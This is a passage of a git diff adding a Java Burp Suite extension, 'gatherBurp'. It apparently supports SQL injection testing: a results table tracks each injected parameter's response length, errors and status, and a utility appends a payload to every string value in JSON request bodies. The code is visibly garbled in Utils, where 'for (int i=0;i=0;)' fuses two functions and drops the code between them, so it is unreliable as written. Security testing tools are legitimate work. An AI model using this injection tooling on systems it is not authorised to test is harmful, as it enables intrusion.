status; + this.requestResponse = requestResponse; + } + } + private class Table extends JTable{ + public Table(AbstractTableModel model) { + super(model); + } + + @Override + public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { + SqlUI.LogEntry logEntry = log.get(rowIndex); + select_id = logEntry.id; + data.clear(); + for (int i = 0; i < data2.size(); i++) { + if (data2.get(i).selectId == select_id){ + data.add(data2.get(i)); + } + } + + + model.fireTableRowsInserted(data.size(),data.size()); + model.fireTableDataChanged(); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(),true); + if (logEntry.requestResponse.getResponse() == null){ + HResponseTextEditor.setMessage(new byte[0],false); + }else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(),false); + } + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(rowIndex, columnIndex, toggle, extend); + } + } + + private class Table_log extends JTable{ + public Table_log(AbstractTableModel model) { + super(model); + } + + @Override + public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { + + SqlUI.DataEntry dataEntry = data.get(rowIndex); + HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(),true); + if (dataEntry.requestResponse.getResponse() == null){ + HResponseTextEditor.setMessage(new byte[0],false); + }else { + HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(),false); + } + currentlyDisplayedItem = dataEntry.requestResponse; + super.changeSelection(rowIndex, columnIndex, toggle, extend); + } + } + + class MyModel extends AbstractTableModel{ + + @Override + public int getRowCount() { + return data.size(); + } + + @Override + public int getColumnCount() { + return 8; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex){ + case 0: + return data.get(rowIndex).id; + case 1: + return data.get(rowIndex).key; + case 2: + return data.get(rowIndex).value; + case 3: + return data.get(rowIndex).length; + case 4: + return data.get(rowIndex).change; + case 5: + return data.get(rowIndex).errkey; + case 6: + return data.get(rowIndex).time; + case 7: + return data.get(rowIndex).status; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column){ + case 0: + return "id"; + case 1: + return "参数"; + case 2: + return "参数值"; + case 3: + return "响应长度"; + case 4: + return "变化"; + case 5: + return "报错"; + case 6: + return "时间"; + case 7: + return "返回码"; + default: + return null; + } + } + } + public class DataEntry{ + final int id; + final int selectId; + final String key; + final String value; + final int length; + final String change; + final String errkey; + final String time; + final String status; + final IHttpRequestResponse requestResponse; + + public DataEntry(int id, int selectId, String key, String value, int length, String change,String errkey, String time, String status, IHttpRequestResponse requestResponse) { + this.id = id; + this.selectId = selectId; + this.key = key; + this.value = value; + this.length = length; + this.change = change; + this.errkey = errkey; + this.time = time; + this.status = status; + this.requestResponse = requestResponse; + } + } +} diff --git a/src/main/java/burp/ui/UIHandler.java b/src/main/java/burp/ui/UIHandler.java new file mode 100644 index 0000000..23a3dbe --- /dev/null +++ b/src/main/java/burp/ui/UIHandler.java @@ -0,0 +1,12 @@ +package burp.ui; + +import burp.IBurpExtenderCallbacks; + +import javax.swing.*; + +public interface UIHandler { + + public void init(); + public JPanel getPanel(IBurpExtenderCallbacks callbacks); + public String getTabName(); +} diff --git a/src/main/java/burp/utils/DBUtils.java b/src/main/java/burp/utils/DBUtils.java new file mode 100644 index 0000000..5871b2a --- /dev/null +++ b/src/main/java/burp/utils/DBUtils.java @@ -0,0 +1,42 @@ +package burp.utils; + +import java.sql.*; + +public class DBUtils { + public static String DB_NAME = "gather.db"; + public static String DB_PATH = System.getProperty("user.home") + "/.gather/" + DB_NAME; + public static String DB_URL = "jdbc:sqlite:" + DB_PATH; + public static String DB_DRIVER = "org.sqlite.JDBC"; + + static { + try { + Class.forName(DB_DRIVER); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + public static Connection getConnection() throws SQLException { + return DriverManager.getConnection(DB_URL); + } + public static void close(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet){ + try{ + if(connection != null){ + connection.close(); + } + if (preparedStatement != null){ + preparedStatement.close(); + } + if (resultSet != null){ + resultSet.close(); + } + } catch (Exception e ){ + e.printStackTrace(); + } + } + + public static void main(String[] args) throws SQLException { + System.out.println(getConnection()); + } + + +} diff --git a/src/main/java/burp/utils/RobotInput.java b/src/main/java/burp/utils/RobotInput.java new file mode 100644 index 0000000..26b2933 --- /dev/null +++ b/src/main/java/burp/utils/RobotInput.java @@ -0,0 +1,148 @@ +package burp.utils; + +import java.awt.*; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.StringSelection; +import java.awt.datatransfer.Transferable; +import java.awt.event.KeyEvent; + +public class RobotInput extends Robot { + public RobotInput() throws AWTException { + super(); + } + + /*public static void startCmdConsole() { + try { + Process process = null; + if (Commons.isWindows()) { + process = Runtime.getRuntime().exec("cmd /c start cmd.exe"); + } else if (Commons.isMac()) { + ///System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal + process = Runtime.getRuntime().exec("open -n -F -a /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal"); + } else if (Commons.isUnix()) { + process = Runtime.getRuntime().exec("/usr/bin/gnome-terminal");//kali和Ubuntu测试通过 + // if(new File("/usr/bin/gnome-terminal").exists()) { + // process = Runtime.getRuntime().exec("/usr/bin/gnome-terminal"); + // }else { + // process = Runtime.getRuntime().exec("/usr/bin/xterm");//只能使用shift+insert 进行粘贴操作,但是修改剪切板并不能修改它粘贴的内容。 + //貌似和使用了openjdk有关,故暂时只支持gnome-terminal. + // } + } + process.waitFor();//等待执行完成 + } catch (Exception e) { + e.printStackTrace(); + } + }*/ + + public void inputString(String str) { + delay(100); + Clipboard clip = Toolkit.getDefaultToolkit().getSystemClipboard();//获取剪切板 +// Transferable origin = clip.getContents(null);//备份之前剪切板的内容 + StringSelection tText = new StringSelection(str); + clip.setContents(tText, tText); //设置剪切板内容,在Linux中这会修改ctrl+shift+v的内容 + +// if (Commons.isWindows10()) {//粘贴的不同实现方式 +// inputWithCtrl(KeyEvent.VK_V); +// } else if (Commons.isWindows()) { +// inputWithAlt(KeyEvent.VK_SPACE);// +// InputChar(KeyEvent.VK_E); +// InputChar(KeyEvent.VK_P); +// +// } else if (Commons.isMac()) { +// delay(100); +// keyPress(KeyEvent.VK_META); +// keyPress(KeyEvent.VK_V); +// delay(100); +// keyRelease(KeyEvent.VK_V); +// keyRelease(KeyEvent.VK_META); +// delay(100); +// } else if (Commons.isUnix()) { +// +// inputWithCtrlAndShift(KeyEvent.VK_V); +// +// } +// clip.setContents(origin, null);//恢复之前剪切板的内容 + delay(100); + } + + // shift+ 按键 + public void inputWithShift(int key) { + delay(100); + keyPress(KeyEvent.VK_SHIFT); + keyPress(key); + keyRelease(key); + keyRelease(KeyEvent.VK_SHIFT); + delay(100); + } + + // ctrl+ 按键 + public void inputWithCtrl(int key) { + delay(100); + keyPress(KeyEvent.VK_CONTROL); + keyPress(key); + keyRelease(key); + keyRelease(KeyEvent.VK_CONTROL); + delay(100); + } + + // alt+ 按键 + public void inputWithAlt(int key) { + delay(100); + keyPress(KeyEvent.VK_ALT); + keyPress(key); + keyRelease(key); + keyRelease(KeyEvent.VK_ALT); + delay(100); + } + + // ctrl+shift+ 按键 + public void inputWithCtrlAndShift(int key) { + delay(100); + keyPress(KeyEvent.VK_CONTROL); + keyPress(KeyEvent.VK_SHIFT); + keyPress(key); + keyRelease(key); + keyRelease(KeyEvent.VK_SHIFT); + keyRelease(KeyEvent.VK_CONTROL); + delay(100); + } + + //这个函数单独测试的时候没毛病,但是 一用到burp右键中,获得的结果始终是上一次复制的内容! + public final String getSelectedString() { + try { + Clipboard clip = Toolkit.getDefaultToolkit().getSystemClipboard();//获取剪切板 + Transferable origin = clip.getContents(null);//备份之前剪切板的内容 + + String selectedString = (String) clip.getData(DataFlavor.stringFlavor); + System.out.println("复制之前剪切板中的内容:" + selectedString); + + inputWithCtrl(KeyEvent.VK_C); + final String result = (String) clip.getData(DataFlavor.stringFlavor); + //selectedString = (String)clip.getData(DataFlavor.stringFlavor); + System.out.println("复制之后剪切板中的内容:" + result); + + clip.setContents(origin, null);//恢复之前剪切板的内容 + + selectedString = (String) clip.getData(DataFlavor.stringFlavor); + System.out.println("恢复之后剪切板中的内容:" + selectedString); + return result; + } catch (Exception e) { + e.printStackTrace(); + } + return ""; + // 复制之前剪切板中的内容:printStackTrace + // 复制之后剪切板中的内容:null + // 恢复之后剪切板中的内容:printStackTrace + // printStackTrace//最后的值随着剪切板的恢复而改变了,应该是引用传递的原因。所有需要将复制后的值设置为final。 + } + + //单个 按键 + + public void InputChar(int key) { + delay(100); + keyPress(key); + keyRelease(key); + delay(100); + } +} diff --git a/src/main/java/burp/utils/Utils.java b/src/main/java/burp/utils/Utils.java new file mode 100644 index 0000000..f3d3cdb --- /dev/null +++ b/src/main/java/burp/utils/Utils.java @@ -0,0 +1,183 @@ +package burp.utils; + +import burp.IBurpExtenderCallbacks; +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import org.apache.commons.io.FileUtils; +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.File; +import java.io.IOException; +import java.io.PrintWriter; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.regex.Pattern; + + +public class Utils { + public static IBurpExtenderCallbacks callbacks; + public static IExtensionHelpers helpers; + public static PrintWriter stdout; + public static PrintWriter stderr; + public static String name = "gatherBurp"; + public static String version = "1.0.0"; + public static String author = "Xm17"; + public static String workdir = System.getProperty("user.home") + "/.gather/"; + + public static boolean isIP(String input) { + String ipPattern = "^((\\d{1,3}\\.){3}\\d{1,3})$"; + return Pattern.matches(ipPattern, input); + } + + public static List getSuffix() { + List suffix = new ArrayList<>(); + suffix.add(".js"); + suffix.add(".css"); + suffix.add(".jpg"); + suffix.add(".png"); + suffix.add(".gif"); + suffix.add(".ico"); + suffix.add(".svg"); + suffix.add(".woff"); + suffix.add(".ttf"); + suffix.add(".eot"); + suffix.add(".woff2"); + suffix.add(".otf"); + suffix.add(".mp4"); + suffix.add(".mp3"); + suffix.add(".avi"); + suffix.add(".flv"); + suffix.add(".swf"); + suffix.add(".webp"); + suffix.add(".zip"); + suffix.add(".rar"); + suffix.add(".7z"); + suffix.add(".gz"); + suffix.add(".tar"); + suffix.add(".exe"); + suffix.add(".pdf"); + suffix.add(".doc"); + suffix.add(".docx"); + suffix.add(".xls"); + suffix.add(".xlsx"); + suffix.add(".ppt"); + suffix.add(".pptx"); + suffix.add(".txt"); + suffix.add(".xml"); + suffix.add(".apk"); + suffix.add(".ipa"); + suffix.add(".dmg"); + suffix.add(".iso"); + suffix.add(".img"); + suffix.add(".torrent"); + suffix.add(".jar"); + suffix.add(".war"); + suffix.add(".py"); + return suffix; + } + public static String RequestToFile(IHttpRequestResponse message) { + try { + String host = message.getHttpService().getHost(); + + SimpleDateFormat simpleDateFormat = + new SimpleDateFormat("MMdd-HHmmss"); + String timeString = simpleDateFormat.format(new Date()); + String filename = host + "." + timeString + ".req"; + + File requestFile = new File(workdir, filename); + FileUtils.writeByteArrayToFile(requestFile, message.getRequest()); + return requestFile.getAbsolutePath(); + } catch (IOException e) { + e.printStackTrace(stderr); + return null; + } + } + public static boolean isJSON(String test) { + if (isJSONObject(test) || isJSONArray(test)) { + return true; + }else { + return false; + } + } + + //org.json + public static boolean isJSONObject(String test) { + try { + new JSONObject(test); + return true; + } catch (JSONException ex) { + return false; + } + } + + + public static boolean isJSONArray(String test) { + try { + new JSONArray(test); + return true; + } catch (JSONException ex) { + return false; + } + } + public static String updateJSONValue(String JSONString, String payload) throws Exception { + + if (isJSONObject(JSONString)) { + JSONObject obj = new JSONObject(JSONString); + Iterator iterator = obj.keys(); + while (iterator.hasNext()) { + String key = (String) iterator.next(); // We need to know keys of Jsonobject + String value = obj.get(key).toString(); + + + if (isJSONObject(value)) {// if it's jsonobject + String newValue = updateJSONValue(value, payload); + obj.put(key,new JSONObject(newValue)); + }else if (isJSONArray(value)) {// if it's jsonarray + String newValue = updateJSONValue(value, payload); + obj.put(key,new JSONArray(newValue)); + }else { + if (!isBooleanOrNumber(value)){ + obj.put(key, value+payload); + } + } + } + return obj.toString(); + }else if(isJSONArray(JSONString)) { + JSONArray jArray = new JSONArray(JSONString); + + ArrayList newjArray = new ArrayList(); + for (int i=0;i=0;){ + int chr=str.charAt(i); + if(chr<48 || chr>57) { + return false; + } + } + return true; + } + + + + +} diff --git a/src/test/java/org/example/AppTest.java b/src/test/java/org/example/AppTest.java new file mode 100644 index 0000000..d5f435d --- /dev/null +++ b/src/test/java/org/example/AppTest.java @@ -0,0 +1,38 @@ +package org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +}